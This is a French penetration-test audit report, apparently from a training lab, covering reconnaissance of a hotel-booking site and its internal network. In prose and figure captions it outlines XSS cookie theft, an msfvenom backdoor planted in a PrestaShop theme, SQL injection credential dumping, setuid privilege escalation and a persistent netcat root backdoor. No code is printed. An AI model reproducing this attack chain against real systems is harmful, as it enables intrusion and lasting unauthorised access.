RAPPORT D’AUDIT POUR

DEVILTECH

Livré le : 06/02/2022

023242326 / contact@yucorp.com
 Sommaire

Objectif de l’audit 5
Context de l’audit 5
But de l’audit 5
Type de pentest 5
Résultats attendus 5
Guide opérationnel 6
Organisation du rapport 6

Synthèse générale 11
Point forts 11
Points à améliorer 11
Niveau de sécurité global 12
Déroulement et constat global 13
Conclusion générale 14
Analyse globale 15
Schéma global et analyse du systèmes 15
Conclusion 25

Analyse des vulnérabilités 26

Recommandations et correctifs 73

1
 Table de Figures
Figure 1: Commande Nmap sur la cible prime.worstwestern.com pour vérifier l’état des ports…………………….15
Figure 2: Commande Nmap sur la cible prime.worstwestern.com…………………………………………………...16
Figure 3: Résultat de l’analyse Nmap sur la cible prime.worstwestern.com………………………………………....16
Figure 4: Détection de l’adminpannel avec Dirb sur la cible prime.worstwestern.com……………………………..18
Figure 5: Détection de ‘config.txt’ avec Dirb sur la cible prime.worstwestern.com…………………………………18
Figure 6: Code source du site prime.worstwestern.com……………………………………………………………...19
Figure 7: Exécution de Nikto sur le site prime.worstwestern.com….………………………………………………...19
Figure 8: Résultat de la commande netdiscover….…………………………………………………………………..20
Figure 9: Résultat de nmap sur le réseau 192.168.1.0/24…………………………………………………………....21
Figure 10: Exécution de Nikto sur 192.168.1.124…………………………………………………………................22
Figure 11: Résultat du scan……………………..…………………………………………………………....................23
Figure 12: Résultat du scan……………………..…………………………………………………………....................23
Figure 13: Exécution de l’outil Nikto sur 192.168.0.1…………………………………………………......................24
Figure 14: Exécution de l’outil Sqlmap sur 192.168.0.1…………………………………………………..................25
Figure 15: Résultat de Wireshark………………………………………………………………………......................26
Figure 16: Contenu du fichier config.txt……………………………………………………………………………...27
Figure 17: Brute force du mot de passe de Prime.…………………………………………………………………....28
Figure 18: Résultat du brute force du mot de passe …………………………………………………………….…....28
Figure 19: Modification du fichier /etc/proxychains.conf………………………………………………………….....29
Figure 20: Scan NMAP du réseau 192.168.1.0/24.…………………………………………………………...............30
Figure 21: Résultat du Scan NMAP sur le réseau 192.168.1.0/24….………………………………………..............30
Figure 22: Configuration du protocole socks5 dans Proxy Toggle….………………………………………..............31
Figure 23: Page de connexion du site hébergé dans l'hôte 192.168.1.124.…………………………………..............31
Figure 24: Injection du Payload..………………………………………………………………...…………..............32
Figure 25: La requête du login récupérée par netcat.…………………………………………...…………...............33
Figure 26: Modification de la valeur du cookie..………………………………………………...…………...............33
Figure 27: Message indiquant la nouvelle valeur par laquelle le cookie a été modifié.………...…………...............34
Figure 28: Exemple d’image prise par les caméras 1.…………………………………………...…………...............34
Figure 29: Exemple d’image prise par les caméras 2..…………………………………………...…………..............35
Figure 30: Exemple d’image prise par les caméras 3..…………………………………………...…………..............35
Figure 31: Exemple d’image prise par les caméras 4..…………………………………………...…………..............36
Figure 32: Exemple d’image prise par les caméras 5...…………………………………………...………….............36
Figure 33: Les informations découvertes à travers les images prises par les caméras.…………...…………............37
Figure 34: Connexion à adminpanel en utilisant les informations récoltées depuis les images.…...…………..........37
Figure 35: Tableau de bord de la page adminpanel....…………………………………………...…………..............38
Figure 36: L‘onglet préférences du tableau de bord.....…………………………………………...………….............39
Figure 37: Création d’un nouveau thème nommé YuCorp.………………………………………...…………............40
Figure 38: Création d’un payload avec msfvenom….………………………………………...…………....................40
Figure 39: Le Payload généré par la commande msfvenom…………………………………...…………..................41
Figure 40: Ajout de commandes dans le fichier index.php…………………………………...…………....................41
Figure 41: Importation du nouveau thème contenant le Payload..…………………………...…………....................42
Figure 42: Configuration msfconsole pour réceptionner une session meterpreter…………...…………...................42
Figure 43: Accès au payload uploadé…………………………………………………..…………...…………..................43
Figure 44: Réception d’une session meterpreter.……………………………………..…………...…………...................43
Figure 45: Exécution de la commande id côté serveur.……………………………..…………...…………....................44

2
Figure 46: Exécution de la commande ifconfig côté serveur.…………………………..…………...…………...............44
Figure 47: Ajout d’une route vers le réseau 192.168.0.0..…………………………..…………...…………...................45
Figure 48: Scan du host 192.168.0.1..………………………………...………………..…………...…………...................45
Figure 49: Scan du host 192.168.0.1 (suite 1)……………………...………………..…………...…………....................46
Figure 50: Scan du host 192.168.0.1 (suite 2)………………………...………………..………...…………....................46
Figure 51: Application du port forwarding.………………………...………………..…………...…………....................47
Figure 52: La nouvelle configuration de /etc/proxychains.conf....………………..…………...………….....................47
Figure 53: Accès au site crm.……………………….………………...………………..…………...…………....................48
Figure 54: Contenu du fichier Flag1.txt que nous avons découvert..……………..…………...…………....................48
Figure 55: Injection SQL vérifiant la présence de la vulnérabilité.……………..…………...………….......................49
Figure 56: Résultat de l’injection SQL précédente..……………..…………...………..................................................50
Figure 57: La structure de la table user dans le fichier crm.sql.……...………….......................................................50
Figure 58: Exécution de drib sur crm.worstwestern.com,.……...…………................................................................51
Figure 59: Vérification de l'existence de la table user.,.……...…………....................................................................51
Figure 60: L’injection permettant de vérifier la validité de l’email peterg@worstwestern.com..................................52
Figure 61: Résultat de l’injection précédente..,.……...…………................................................................................52
Figure 62: L’injection vérifiant si le premier caractère du mot de passe est un ‘a’.....................................................53
Figure 63: Résultat de l’injection précédente...,.……...…………...............................................................................53
Figure 64: L’injection vérifiant si le premier caractère du mot de passe est un ‘T’....................................................54
Figure 65: Résultat de l’injection précédente....,.……...…………..............................................................................54
Figure 66: Le résultat de l’exécution du script Python permettant de trouver tous les caractères du mot de passe....55
Figure 67: Exécution de la commande sqlmap pour récolter les noms des bases de données existantes..…………..55
Figure 68: Résultat de l’exécution de la commande sqlmap précédente pour récolter les noms des BDDs…………56
Figure 69: Exécution de la commande sqlmap pour récolter les noms des tables stockées dans crm………………56
Figure 70: Résultat de l’exécution de sqlmap pour récolter les noms des tables de la BDD crm ……………………..57
Figure 71: Résultat de l’exécution de la commande sqlmap pour récupérer le contenu des tables user et admin .....57
Figure 72: Contenu de la table user y compris les informations du compte administrateur (SSH et CRM)................58
Figure 73: Contenu de la table admin.....,.……...………….........................................................................................58
Figure 74: Page de l’administrateur de crm.…...………….........................................................................................59
Figure 75: From d’authentification crm…...………………........................................................................................60
Figure 76: Accès au compte administrateur crm.………….........................................................................................60
Figure 77: Avant et après exécution de Goldeneye.………..........................................................................................62
Figure 78: Etat du port 22 de l'hôte ayant l’@ 192.168.0.1.........................................................................................63
Figure 79: Redirection de port......................................................................................................................................63
Figure 80: Connexion au compte ssh de l’utilisateur peterg........................................................................................64
Figure 81: Contenu du fichier Flag2.txt.......................................................................................................................64
Figure 82: Directory listing assets................................................................................................................................65
Figure 83: Directory listing admin/assets.....................................................................................................................66
Figure 84: Directory listing crm………….....................................................................................................................66
Figure 85:Panneau d’administrateur crm....................................................................................................................67
Figure 86: Panneau d’administrateur prime................................................................................................................68
Figure 87: L’exécutable php dans le dossier /usr/bin du serveur..................................................................................69
Figure 88: Escalation de privilèges réussie. ................................................................................................................70
Figure 89: Contenu du fichier Flag3.txt…...................................................................................................................70
Figure 90: Création d’un nouveau fichier rc.local permettant de lancer netcat au démarrage. .................................71
Figure 91: Remplacer le fichier /etc/rc.local par le nouveau…....................................................................................71
Figure 92: Écoute netcut sur la cible….........................................................................................................................72

3
 Liste de Tableaux
Tableau 1 : Plan du rapport……………………………………………………………………………………………6
Tableau 2 : Grille d'évaluation du niveau de criticité d’un système. ………………………………………………...10
Tableau 3 : Recommandations, et coûts ……………………………………….………………………………….….73

4
 I. Objectif de l’audit
1. Context de l’audit
Audit de sécurité externe réalisé par le cabinet d'audit YuCorp pour l’entreprise DevilTech.

2. But de l’audit
Cet audit de sécurité informatique a pour objectif :
- d’évaluer le niveau de sécurité des systèmes informatiques opérationnels du client depuis
l'extérieur.
- d’identifier et d’énumérer au moins 85% des failles de sécurité se trouvant sur les systèmes
informatiques opérationnels du client exception faite des vulnérabilités inconnues à la date de fin
d’audit.
- d’évaluer le niveau de criticité de chaque faille identifiée ainsi que son impact sur les systèmes
opérationnels du client.
- de recommander des mesures et/ou des correctifs pour atténuer les vulnérabilités identifiées ainsi
que le coût de correction de chaque vulnérabilité détectée.
-

3. Type de pentest
Il s’agit d’un test d’intrusion externe en boîte noire, sans connaissance préalable des informations relatives
aux systèmes d’information du client et l’infrastructure de son réseau.

4. Résultats attendus
Etant donnée que le test d’intrusion est en boîte noire (externe), aucune information relative au niveau de
sécurité actuel du système n’est connue.

A la fin du pentest, le niveau de sécurité pourra être déterminé accompagné des mesures qui doivent être
prises en compte pour l’amélioration et le renforcement du système.

5
II. Guide opérationnel
1. Organisation du rapport

SECTION DESCRIPTION DESTINATION

● Identifier les points forts de la sécurité de

Les décideurs + les
l’entreprise.
Synthèse responsables + l’équipe
● Identifier les points à améliorer.
générale Technique.
● Résumé du niveau de sécurité.

● Présenter les informations générales du système à L’équipe chargée de la

auditer . sécurité réseau et
Analyse globale ● Énumérer les systèmes et services détectés. informatique.

● Enumération et analyse de toutes les L’équipe chargée de la

Analyse des vulnérabilités reportées. sécurité réseau et
vulnérabilités ● Présenter la méthodologie d’exploitation et le niveau informatique.
de criticité de toutes les vulnérabilités .

● Présenter les recommandations concernant la sécurité

globale du système, complétées par diverses L’équipe chargée de la
Recommandatio améliorations et/ou corrections des vulnérabilités sécurité réseau et
ns et coûts découvertes ainsi que des estimations approximatives informatique.
des coûts des correctifs

Tableau 1 : Plan du rapport.

6
2. Abréviations et vocabulaire
- Vulnérabilité : ou faille, est une faiblesse dans un système informatique permettant à un attaquant
de porter atteinte à l’intégrité de ce système, qui veut dire à son fonctionnement, à la confidentialité
ou à l’intégrité des données qu’il contient.

- Exploit : est l’utilisation de la vulnérabilité afin de compromettre l’intégrité, la confidentialité ou la

disponibilité du système. En d’autres termes, c’est un élément de programme permettant à un
individu ou à un logiciel malveillant d’exploiter une faille de sécurité informatique dans un système
informatique.

- Pentest: ou test d’intrusion, est une méthode d’évaluation de la sécurité d’un système d’information
ou d’un réseau informatique.

- OWASP : Pour Open Web Application Security Project, est une organisation internationale à but
non lucratif qui se consacre à la sécurité des applications web.

- SSH : Pour Secure Socket Shell, est un protocole réseau qui permet aux administrateurs d'accéder à
distance à un ordinateur tout en assurant une authentification forte et une communication de
données chiffrées sécurisées.

- SQL Injection : C’est une technique utilisée pour tirer parti des vulnérabilités d'entrée non
sanitarisées en transmettant des commandes SQL via une application Web afin de les exécuter dans
une base de données. Le navigateur de l'utilisateur final n'a aucun moyen de savoir que le script
n'est pas digne de confiance et l'exécute.

- XSS Cross-site scripting : est un type d’injection, dans lequel des scripts malveillants sont injectés
dans des sites web.

- HTTP : HyperText Transfer Protocol est un protocole de communication client-serveur pour le

World Wide Web.

- DOS : Denial of Service, est une attaque ayant pour but de rendre indisponible un service ainsi
empêcher les utilisateurs légitimes d’un service de l’utiliser.

7
- OS : Operating System, en français le système d’exploitation.

- NMAP : Network Mapper, est un scanner de ports libres créé par Fyodor et distribué par
Insecure.org. Il est conçu pour détecter les ports ouverts, identifier les services hébergés et obtenir
des informations sur le système d’exploitation d’un ordinateur.

- NIKTO : également connu sous le nom de Nikto2, est un scanner de serveur web Open Source
(GPL). Il effectue une analyse des vulnérabilités des serveurs web à la recherche de plusieurs
éléments, notamment les fichiers et programmes dangereux, et vérifie les versions obsolètes des
logiciels de serveur web ainsi que les erreurs de configuration du serveur et les éventuelles
vulnérabilités qu'elles ont pu introduire.

- Netdiscover : est un outil de mapping réseau permettant d’effectuer une écoute passive ou une
découverte active du réseau pour essayer de trouver des hôtes via leurs adresses IP.

- IDS : Intrusion Detection System ou Système de détection d’intrusion, capture et analyse du trafic
afin de repérer une éventuelle intrusion suspecte ou une violation possible de politique de sécurité
et émettre des signaux d’alarme.

- IPS : Intrusion Prevention System ou Système de Prévention, fonctionne de la même manière qu’un
IDS mais a la capacité de bloquer les intrusions.

- Cookie : s’agit d’un fichier généré par le serveur du site web visité ou par le serveur d’une
application tierce.

- Proxychains : est un logiciel en ligne de commande permettant la création d'un tunnel pour les
communications utilisant le protocole TCP. Il est configuré par défaut pour fonctionner avec le
réseau TOR.

- DIRB : est un scanner de contenu Web qui recherche les objets Web existants (et/ou cachés). Il
fonctionne essentiellement en lançant une attaque basée sur un dictionnaire contre un serveur Web
et en analysant les réponses.

8
- HTTPS : L'HyperText Transfer Protocol Secure est la combinaison du HTTP avec une couche de
chiffrement comme SSL ou TLS.

- SSL : Secure Sockets Layers est un procédé de sécurisation des transactions effectuées via Internet.

- SOCK : est un protocole d’échange de paquet entre un serveur et un client par l'intermédiaire d’un
PROXY. SOCKS5 fournit éventuellement une authentification afin que seuls les utilisateurs
autorisés puissent accéder à un serveur.

- METASPLOIT : est un outil pour le développement et l'exécution d'exploits contre une machine
distante, il permet de réaliser des audits en sécurité ainsi que pour tester les vulnérabilités des
systèmes informatiques.

- METERPRETER : est une attaque payload de METASPLOIT qui fournit un shell interactif à partir
duquel un attaquant peut explorer la machine cible et exécuter du code.

- MSFVENOM : est une instance de Metasploit en ligne de commande qui est utilisée pour générer
et produire tous divers output de code shell.

- Port Forwarding : ou “réacheminement de port” consiste à rediriger des paquets réseaux reçus sur
un port donné d'un ordinateur ou un équipement réseau vers un autre ordinateur ou équipement
réseau sur un port donné.

- CVE : Common Vulnerabilities and Exposures, c’est une liste de failles de sécurité informatique
publiquement divulguées.

- OSVDB : Open Source Vulnerability Database est une base de données qui catégorise et explique
diverses vulnérabilités.

- WAF : Web Application Firewall, est un type de pare-feu qui protège le serveur d'applications Web
dans le backend contre diverses attaques.

- Docker : est une plateforme permettant de lancer certaines applications dans des conteneurs
logiciels virtuels, ainsi ils peuvent s'exécuter sur n’importe quelle machine.

9
 - Backdoor : (ou porte dérobée) est un programme informatique malveillant utilisé pour donner aux
pirates un accès à distance non autorisé à un ordinateur infecté en exploitant les vulnérabilités du
système.
- RCE : est une cyberattaque par laquelle un attaquant peut exécuter à distance des commandes sur
l'appareil informatique de quelqu'un d'autre.

3. Critères d’évaluations employés

La criticité d’une vulnérabilité permet de prioriser l'implémentation des correctifs. Afin d’évaluer le niveau
de criticité des vulnérabilités détectées lors de cet audit, on se basera sur le modèle utilisé par l’OWASP.

Un niveau de criticité est attribué à chaque vulnérabilité détectée: faible, moyenne, importante ou critique.
Le niveau de criticité comprend :
- La Probabilité d'exploitation qui correspond aux possibilités que la vulnérabilité soit effectivement
trouvée et utilisée.
- L’impacte potentiel qui correspond à l’étendue des dégâts (financiers ou de réputation) que
l’exploitation réussie d’une vulnérabilité aurait sur l’entreprise visée.

Niveau de criticité Impact sur le système Probabilité d’exploitation

Critique Intégrité Difficile

Importante Disponibilité Facile

Moyenne Confidentialité

Faible

Tableau 2 : Grille d'évaluation du niveau de criticité d’un système.

4. Rappelle du périmètre de l’audit

Le périmètre d’audit représente l’ensemble des serveurs et hôtes que nous avons pu découvrir à travers les
tests d’intrusion et qui fournissent ou bien nous mènent vers des codes sources, des applications, des sites
web, des comptes utilisateurs et tout autre type d’information ou pistes pouvant compromettre le système
ou bien le réseau en général.

10
III. Synthèse générale
1. Point forts
- Peu de services hébergés (SSH et web seulement).
- Serveur SSH avec aucune vulnérabilité exploitable détectée.
- Isolement de certains services qui sont accessibles uniquement via un Proxy.
- Isolement de certains domaines qui sont accessibles uniquement via un Proxy.
- Mise en place du protocole SSL/TLS.
- Mise en place du protocole HTTPS.

2. Points à améliorer
- Absence de défense en périmètre, ce qui expose les systèmes à une multitude d’attaques de récolte
d’informations comme l’énumération des services mais aussi des attaques de type déni de service.
- Absence d’une charte d’utilisation qui spécifie aux utilisateurs leur obligations de protection de
leurs postes et d’un plan de sensibilisation des utilisateurs
- Absence d’une procédure antivirale.
- Absence d’outils de filtrage amont pour prévenir les infections virales.
- Absence d’une vérification des derniers patchs et mises à jour.
- Certains mots de passe ( au niveau des postes et des serveurs) sont trop courts et ne respectent pas
les bonnes pratiques de sécurité.
- Absence d’une politique qui définit la typologie de mots de passe autorisés, la longueur de mots de
passe, les délais d’expiration, la technique de génération et l’occurrence d’utilisation de mots de
passe.
- Absence d’une stratégie d’autorisation d’accès.
- Fuite d’informations critiques sur le serveur HTTP.
- Absence de chiffrement du trafic réseau entre le serveur et les clients (le protocole HTTPS et HSTS
policy ne sont pas activés).
- Absence de restrictions sur les requêtes permettant d’éviter les injections XSS, SQL et les injections
de code PHP.
- Version de PrestaShop vulnérable et non mise à jour.
- Mettre à jour tous les services en exécution sur le serveur et désactiver ceux non utilisés.
- Les librairies Javascript utilisées sont vulnérables et non mises à jour.
- Site web très lent.

11
 3. Niveau de sécurité global
Le système informatique audité assure un service web à ses clients. Il comporte un serveur web, un serveur
SSH déployé dans un docker et une base de données.

Parmi les points forts remarqués, on trouve l'isolement de certains services tels que le serveur SSH ainsi
que le domaine crm.worstwestern.com qui sont accessibles que via un Proxy.

Toutefois, ce système présente des vulnérabilités pouvant conduire à des risques majeurs issues des
composants suivants :

- Serveur web
Le serveur web comporte une vulnérabilité de type SSL stripping ou HTTP Downgrade qui est une
technique qui fait passer une connexion du HTTPS sécurisé au HTTP non sécurisé, ce qui expose toute
information transitant à une potentielle fuite, à l'écoute clandestine et à la manipulation.
Le serveur web contient plusieurs vulnérabilités de configurations et de mauvaises manipulations, étant
donné la simplicité de récupération de certains identifiants et l’accès non autorisé établi à partir du serveur
web.
La version PrestaShop où le logiciel open-source de réservation d'hôtel en ligne présente plusieurs
vulnérabilités, leurs exploit nous ont permis de récupérer des informations confidentielles, des identifiants
ainsi qu’un accès non autorisé au système et au site de caméras de surveillance.
- Serveur SSH
Ne contient pas de faille exploitable, cependant il nous a permis d’avoir un accès non autorisé.
- Serveur Proxy
Le serveur proxy Socks5 est vulnérable aux attaques par déni de service et d’élévation de privilèges.
- Base de données
Les informations contenues dans la base de données ne sont pas chiffrées, ce qui nous a permis de
récupérer aisément les identifiants de tout utilisateur du site, à savoir même celui de l’administrateur.
- OS
La version du système (4.15-5.6) est vulnérable aux attaques par déni de service et escalade de privilèges.

12
 4. Déroulement et constat global
Grâce aux données fuitées à partir du serveur web, nous avons pu mettre la main sur des données sensibles
telles que des fichiers de configuration et les identifiants de connexion, ces derniers n’étant pas acceptés
sur l’application web, ils nous ont été utiles au niveau du proxy. En utilisant une attaque par brute force
nous avons pu récupérer les identifiants du proxy et ainsi, accéder aux autres segments du réseau.

La page login présente des vulnérabilités blind XSS, ce qui nous a permis de faire une attaque de type XSS
Injection et d'avoir accès au site des caméras de surveillance. L'une de ces caméras indique un bureau où on
a pu récupérer sur l'écran un post-it contenant des identifiants qui nous ont par la suite servi à nous
identifier dans l’adminpanel en tant que Prime.

L’exploit de la vulnérabilité de PrestaShop nous a donné la possibilité d’avoir un RCE (Contrôle à

distance) sur ce dernier grâce à la modification d’un thème. En effet, nous avons téléchargé le thème utilisé
depuis le serveur qui est moins suspect qu’un autre. Par la suite, un backdoor a été inséré dans le fichier
/lang/index.php afin de lancer un reverse shell.

Dans la session meterpreter obtenue et en analysant le réseau, on constate que nous sommes dans le réseau
192.168.0.1/24 où nous avons atteint le CRM, qui s’agit d’une application web qui expose à ce stade deux
fonctionnalités à savoir le login et la récupération des mots de passe perdus.

Le formulaire de récupération de mot de passe est vulnérable à l’injection SQL de type booléen, en
l’exploitant, on a pu récupérer le contenu de la base de données qui était clair et non chiffré. La table admin
de la base de données crm contient plusieurs usernames et mots de passes appartenant à des comptes
administrateurs, on constate la présence d’un compte SSH associé pour l’utilisateur peterg sur le serveur
192.168.0.1.

En se connectant, à l’aide de SSH au compte de l’administrateur peterg, nous avons trouvé le binaire
/usr/bin/php7.3 ainsi que /usr/bin/vim par lesquelles nous avons pu transférer les droits aux utilisateurs
grâce à l’appel système setuid. À l’aide d’un script PHP exploitant le fait que cet appel soit vulnérable et
qui ne fait aucun contrôle sur l’argument passé en paramètre, nous avons pu obtenir un shell avec des
privilèges root sur le système.

13
Une fois avoir obtenu un accès root sur le système, nous avons installé un backdoor persistant (qui s’ouvre
à chaque démarrage) exploitant le fichier système rc.local et l’outil netcat nous permettant ainsi de se
brancher directement au serveur en tant que root et sans devoir passer par les étapes précédentes.

5. Conclusion générale
Bien que le système comporte un nombre considérable de failles, il a aussi des points forts et donc possède
une sécurité partielle qui lui permet de bloquer plusieurs attaques critiques le visant.
Les failles découvertes durant le pentest ont permis de mettre en exergue la faiblesse du niveau de sécurité
du système que nous avons audité.
La plupart des vulnérabilités étaient dues à une mauvaise configuration ou à l’utilisation d’une version
obsolète d’un service. Leurs corrections ne seront pas complexes à implémenter et peuvent se faire en
installant une mise à jour pour le système d'exploitation, en modifiant la configuration de l'application ou
en installant le correctif requis pour le service en question. Les coûts de correction des services obsolètes
ou bien de la mise à jour d’un OS sont quasiment nuls. En revanche pour ce qui en est de la reconfiguration
de l’application, de l’achat d’un équipement de sécurité ou autre, cela peut varier en fonction du nombre de
personnel chargé des corrections à effectuer (ingénieur ou bien freelancer à payer), du type de matériel
acheté et du temps nécessaires pour l’applications des recommandations requises.

Des recommandations et des corrections relatives aux vulnérabilités découvertes ainsi qu'une estimation de
coût ont été fournies afin d’améliorer la sécurité et d’assurer le bon fonctionnement du système.

14
IV. Analyse globale
1. Schéma global et analyse du systèmes
Le pentest a été effectué sur plusieurs machines physiques et virtuelles fonctionnant au moyen de différents
systèmes d’exploitation (Kali Linux, Windows 10 et WIndows 11).

Afin de savoir si la cible dispose d’un logiciel de contrôle du trafic entrant et sortant, nous avons procédé à
scan ACK en utilisant l’outil NMAP :

Figure 1: Commande Nmap sur la cible prime.worstwestern.com pour vérifier l’état des ports

Nous voyons bien que les ports ont répondu avec un flag RST ( lorsque les ports répondent avec RST, le
message unfiltred s’affiche). De ce fait, l’ensemble des ports de la cible sont marqués comme étant
non-filtrés (voir la figure ci-dessus), cela signifie que l’intégralité de ses ports sont accessibles (sans savoir
s’ils sont ouverts ou fermés). Ce qui revient donc à supposer qu’aucun dispositif de pare-feu n’est
implémenté, car de façon générale, la plupart de ces dispositifs sont au minimum configurés de manière à
filtrer les communications selon le port utilisé.

Pour énumérer les services et avoir plus d’informations sur l’OS utilisé, nous lançons NMAP avec plusieurs
arguments permettant la réception d’informations importantes de la cible :

15
 Figure 2: Commande Nmap sur la cible prime.worstwestern.com

Le résultat de la commande précédente montre que deux ports ont été recensés ouverts, à savoir le port 80
et le port 1080. Pour chacun d'eux, le service en marche ainsi que sa version ont été donnés :

Figure 3: Résultat de l’analyse Nmap sur la cible prime.worstwestern.com .

Adresse IP Nom du Serveur OS

Attribué par le DHCP prime.worstwrstern.com Linux

(192.168.56.103) Linux Kernel 4 ou 5

16
 Nom Service Protocole Port Commentraire Criticité

Apache 2.4.29 HTTP 80 -Le port 80 est ouvert

-Redirection du flux vers
Proxy Socks5 1080 prime.worstwestern.com. Critique
-Le port 1080 est un proxy
socks5, nécessitant une
authentification.

Aspect technique:

Vu que le port 80 est utilisé par le serveur pour le trafic HTTP, on conclut que ce site encourt des risques de
piratage car les informations en transit entre le Client et le Serveur ne sont pas chiffrées.
Le port 1080, désigné pour les proxys à sockets sécurisés SOCKS5, peut être utilisé pour soutenir des
logiciels et des activités malveillantes, ainsi que de nombreuses attaques comme : l’attaque par déni de
service (DOS), l’élévation de privilège CVE-2002-2368, Buffer overflow dans le serveur SOCKS5
CVE-2000-1183, Buffer overflow dans la librairie libsocks5 CVE-1999-1435.

La version de l’OS présente est vulnérable à des attaques de type déni de service. En analysant plus
profondément, on découvre qu’il est aussi vulnérable aux attaques d’escalade de privilèges
CVE-2019-13272, CVE-2006-0623.

Étant donné la présence d’un site web à notre disposition, nous avons exploité l’outil Dirb afin d’énumérer
les répertoires et les noms de fichiers présents sur les serveurs Web / d'applications.
Ainsi, avec l’utilisation de la liste common.txt, Dirb détecte plusieurs fichiers et répertoires présents sur le
serveur, néanmoins les plus intéressants semblent être le répertoire adminpanel et le fichier config.txt.

17
 Figure 4: Détection de l’adminpannel avec Dirb sur la cible prime.worstwestern.com

Figure 5: Détection de ‘config.txt’ avec Dirb sur la cible prime.worstwestern.com

En consultant le code html du site web, on constate que c'est une instance de qloApps, un logiciel
open-source de réservation d'hôtel en ligne (voir figure), basé sur PrestaShop 2007-2018. Sur exploit-db
nous avons trouvé ce qui suit : https://www.exploit-db.com/exploits/48347.
Prestashop 1.7.6.4 - Cross-Site Request Forgery.

Ce qui indique la présence des vulnérabilités en matière d’exécution de code, de cross site request forgery
et cross site scripting vulnerabilities.

18
 Figure 6: Code source du site prime.worstwestern.com

L’outil NIKTO sur prime.worstwestern.com:80 a détecté quelques anomalies et vulnérabilités comme le

montre la figure ci-dessous.

Figure 7: Exécution de Nikto sur le site prime.worstwestern.com

En effet, nous remarquons que le site est vulnérable aux attaques de type XSS et SQL injection.
La version du serveur Apache 2.4.29 est obsolète et présente plusieurs vulnérabilités : Bypass
RequestHeader unset CVE-2013-5704, mod_deflate denial of service CVE-2014-0118, Heap based buffer
overflow CVE-2014-0226 et mod_cgid denial of service CVE-2014-0231.

19
La version de la bibliothèque JQuery utilisée est désuète et présente plusieurs vulnérabilités à savoir
CVE-2020-11023 et CVE-2020-11022.

L’exploit de ces vulnérabilités, expliqué en détail par la suite, nous permettra de récupérer des informations
critiques et confidentielles.

Afin d’avoir plus d'informations sur la configuration du réseau, l’outil Netdiscover a été utilisé, le résultat
de son exécution reflète ce qui suit :

Figure 8: Résultat de la commande netdiscover

Comme le montre la figure précédente, plusieurs autres réseaux sont énumérés. L’adresse IP qui nous
intéresse et qui ne fait pas partie du réseau hostant le serveur web du client est la 192.168.1.1.

Pour énumérer les services et avoir plus d’informations sur les réseaux découverts, en utilisant un Proxy,
un Scan sur le réseau 192.168.1.0/24 a été effectué à l’aide de la commande nmap en premier lieu.

Le scan NMAP donne un résultat intéressant pour l’adresse IP 192.168.1.124, le port 80 et le port 443 sont
ouverts. Pour chacun d'eux, le service en exécution ainsi que sa version ont été recensés comme suit :

20
 Figure 9: Résultat de nmap sur le réseau 192.168.1.0/24

Adresse IP Nom du Serveur OS

Linux
192.168.1.124 prime.worstwrstern.com
Linux Kernel 4 ou 5

Nom Service Protocole Port Commentraire Criticité

Apache 2.4.29 HTTP 80 Le port 80 est ouvert.

Critique
SSL/HTTP HTTPS 443 Le port 443 est ouvert

L’outil Nikto sur la cible 192.168.1.124 détecte que celui-ci est vulnérable aux attaques de type XSS et SQL
Injection de type boolean comme le montre la figure au-dessous.
Sur exploit-db nous avons trouvé ce qui suit : https://www.exploit-db.com/exploits/39171.
PHPIPAM 1.1.010 - Multiple Vulnerabilities
La présence d’une vulnérabilité Cross Site Scripting (XSS) dans subnet-scan-telnet.php peut entraîner
l'exécution de code dans le navigateur de la victime. CVE-2022-23046.

21
On remarque aussi que le Strict-Transport-Security HTTP header n’est pas défini. Lorsqu'un navigateur
pris en charge reçoit cet en-tête, il empêche l'envoi de toute communication par HTTP au domaine spécifié
et envoie toutes les communications par HTTPS. Cela dit, l’attaquant peut ouvrir le lien en HTTP.
L’exploitation de la vulnérabilité Cross Site Cookie Manipulation, qui sera expliquée en détail plus tard,
nous donne accès à un site de caméras de surveillance. L’une des caméras montre un bureau où un nom
d’utilisateur et un mot de passe sont écrits sur un post-it collé sur le moniteur. L’exploit des autres
vulnérabilités, expliqué en détail par la suite, nous permettra de récupérer d'autres informations critiques et
confidentielles.

Figure 10: Exécution de Nikto sur 192.168.1.124

Afin d’énumérer les services et avoir plus d’informations sur le réseau 192.168.0.1/24, en utilisant un
Proxy, un Scan a pu être fait à l’aide d’une commande nmap en premier lieu.

Le scan NMAP donne un résultat intéressant pour l’adresse IP 192.168.0.1 : le port 22, 80, 1080 et le port
443 sont ouverts. Pour chacun d'eux, le service ainsi que sa version ont été donnés :

22
 Figure 11: Résultat du scan

Figure 12: Résultat du scan

Adresse IP Nom du Serveur OS

192.168.0.1 crm.worstwrstern.com Linux

Linux Kernel 4 ou 5

Nom Service Protocole Port Commentraire Criticité

Apache 2.4.38 HTTP 80 -Le port 80 est ouvert.

-Il n’ya pas de redirection du
SSH SSH 22 flux vers
prime.worstwestern.com Critique

HTTPS HTTPS 443 -Le port 443 est ouvert

-La présence de
crm.worstwestern.com

23
 -Il y a sur le container Docker
actuel un serveur SSH.

Proxy Socks5 1080 -Le port 1080 est un proxy

socks5, nécessitant une
authentification.

Sur le port 443 on remarque la présence du site crm.worstwestern.com. Il s'agit d'une application web qui
expose à ce stade deux fonctionnalités : le login et la récupération de mot de passe perdu.
L’outil Nikto sur la cible 192.168.0.1 détecte que crm.worstwestern.com contient plusieurs anomalies et
vulnérabilités parmis elles : CSRF, XSS et SQL Injection.(PHPIPAM 1.1.010 multiple vulnerabilities)

Figure 13: Exécution de l’outil Nikto sur 192.168.0.1

L’exploit de ces vulnérabilités nous a permis d’interagir avec le système de gestion de la base de données.
Étant donné que la base de données n’est pas chiffrée, cela a facilité la récupération des informations sur la
version de la base de données, les schémas déployés ainsi que leurs contenus :

24
 Figure 14: Exécution de l’outil Sqlmap sur 192.168.0.1

On peut clairement remarquer que le système de gestion de base de données utilisé est MySQL 5.0.12
(MariaDB Fork) et qu’il existe deux schémas crm et information_schema. La table admin de la base de
données crm contient les logins des comptes administrateur.

2. Conclusion
Cette partie est une reconnaissance du système d’information du client. La collecte d’informations
concernant l’infrastructure, les composants informatiques et réseaux ainsi que le niveau de sécurité du site
ont abouti au résultat suivant :
- Le réseau est segmenté en 3 niveaux.
- Certains services sont isolés et ne sont accessibles qu’à partir qu’un Proxy.
- Un serveur web est disponible.
- Un proxy est déployé.
- Un serveur SSH est déployé dans un docker.
- Une base de données a été mise en place.
- Absence de pare-feu de tout type pour filtrer le trafic.
- Absence de solution de sécurité contre les intrusions (IDS/IPS).
- Des caméras de surveillance sont mises en place.
- Négligence des employés de la politique de sécurité.

25
V. Analyse des vulnérabilités

1. Trafic non chiffré

Niveau de criticité Critique.

Impact sur le système Confidentialité des données.

